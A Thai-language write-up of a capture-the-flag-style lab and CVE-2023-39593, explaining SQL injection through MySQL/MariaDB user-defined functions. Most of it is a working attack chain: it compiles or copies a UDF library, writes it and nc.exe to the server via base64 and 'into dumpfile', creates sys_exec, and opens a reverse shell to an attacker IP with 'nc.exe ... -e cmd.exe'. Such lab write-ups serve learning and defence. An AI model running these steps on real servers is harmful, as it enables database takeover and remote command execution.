SQL Injection with UDF, lab secplayground, CVE-2023–39593
โอเค มาสรุปไวๆกัน
SQL Injection with UDF เป็นช่องโหว่ที่ db เปิดโอกาสให้ user สามารถสร้าง db function ของตัวเองได้
เช่น db มี function version() ไว้ get db version
user ก็สร้าง function sys_exec() เอาไว้รัน command บน db server ได้
โดยหาก server ช่องโหว่ sql injection อยู่ด้วย
ก็จะเปิดช่องให้ attacker แทรก query ในการสร้าง udf แทรกไปกับ query ปกติ
โอเค มาลองดู lab secplayground กัน
lab นี้เราสามารถแทรก udf ไปได้โดยใช้
'
ปิด sql เดิม แล้วส่ง udf ไป
โดยใน lab แนะนำให้ download code สร้าง udf มาจาก https://github.com/mysqludf/lib_mysqludf_sys
แล้วนำมาสร้าง udf
ซึ่งเราลองใช้ docker ในการสร้างดู ได้เป็น Dockerfile
FROM debian:10
# Install necessary packages
RUN apt update && apt install -y \
libmariadbclient-dev \
git \
gcc \
make
# Clone the repository and compile
WORKDIR /usr/src
RUN git clone https://github.com/mysqludf/lib_mysqludf_sys.git && \
cd lib_mysqludf_sys && \
gcc lib_mysqludf_sys.c -o lib_mysqludf_sys_x64.so \
-m64 -Wl,--hash-style=both -fPIC -Wall \
-I/usr/include/mariadb/server \
-I/usr/include/mariadb/server/private \
-I. -shared \
-L/usr/lib/x86_64-linux-gnu/libstdc++.so.6
# Keep the container alive
CMD ["tail", "-f", "/dev/null"]
แต่พอ shell เข้าไปใน container แล้วแปลง lib_mysqludf_sys_x64 ออกมาใช้ ดันใช้ไม่ได้แหะ
เดาว่า environment อย่างใดอย่างหนึ่งไม่ตรงกันกับ target
แต่พอ upload base64 udf (ver x64) จาก lab ไปยัง target
และใช้ target นั้นสร้าง function สำหรับรัน cmd
และรัน cmd บน target server ก็จะได้ flag มา
เอาละ มาดู CVE-2023–39593 ต่อกัน
โดยข้อมูลนี้เราได้มาจาก https://github.com/Ant1sec-ops/CVE-2023-39593
CVE นี้จะเป็นเรื่อง udf เหมือนกัน
โดยใน mariadb version 10.5 จะปล่อยให้ user ใช้ udf ได้
แต่ประเด็นอยู่ที่ user สามารถหาทางใช้ udf จนรัน command บน target server ได้ จึงเป็นช่องโหว่นั่นเอง
โอเค มาดู step เค้ากัน
เริ่มจากเช็ค architecture ของ target เพราะจะต้องนำ udf ไปถูกอัน เช่น x86 x64
select @@version_compile_os, @@version_compile_machine;
จากนั้นหา folder ที่จะต้องนำ udf ไปวาง
select @@plugin_dir;
แล้ว download udf จาก metasploit
ls /usr/share/metasploit-framework/data/exploits/mysql/
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll udf.dll
จากนั้น convert udf เป็น base64 เพื่อให้ส่งเป็น sql string ได้
cat udf.dll | base64 | tr -d '\n' > udf.base64
จากนั้นรัน sql บน target server เพื่อ ส่ง base64 encoded udf ไปวางใน target server
select from_base64("base64 value") into dumpfile 'C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\udf.dll';
จากนั้นรัน sql เพื่อสั่งให้ udf สร้าง function db ใหม่ ชื่อ sys_exec
create function sys_exec returns int soname 'udf.dll';
โดยเค้าจะเช็คว่า function ถูกสร้างมั้ย ด้วยการ list function
select * from mysql.func;
จากนั้นเค้าจะเตรียมการทำ reverse shell
เพื่อให้ target เป็น client และเครื่อง attacker เป็น server โดยเมื่อ client ติดต่อเข้ามาแล้ว attacker จะเข้าไปรันคำสั่งได้
โดยเค้าใช้ nc เป็นโปรแกรมในการทำ reverse shell
ก่อนอื่น upload โปรแกรม nc ลงไปบน target server ก่อน โดยแปลง nc เป็น base64 แล้วใช้ sql upload
cp /usr/share/windows-binaries/nc.exe .
cat nc.exe | base64 | tr -d '\n' > nc.base64
select from_base64("base64valueofNc.exe") into dumpfile 'C:\\Program Files\\MariaDB 10.5\\lib\\plugin\\nc.exe';
จากนั้นที่เครื่อง attacker ให้ใช้ nc ในการรอรับ incoming connection
แล้วใช้ sys_exec ที่เราสร้างไว้ ในการรัน nc บน target เพื่อติดต่อมายัง attacker
select sys_exec('C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\nc.exe 192.168.214.128 443 -e cmd.exe');
การทำ reverse shell จะสำเร็จ และ attacker จะสามารถรัน cmd บน target server ได้แล้ว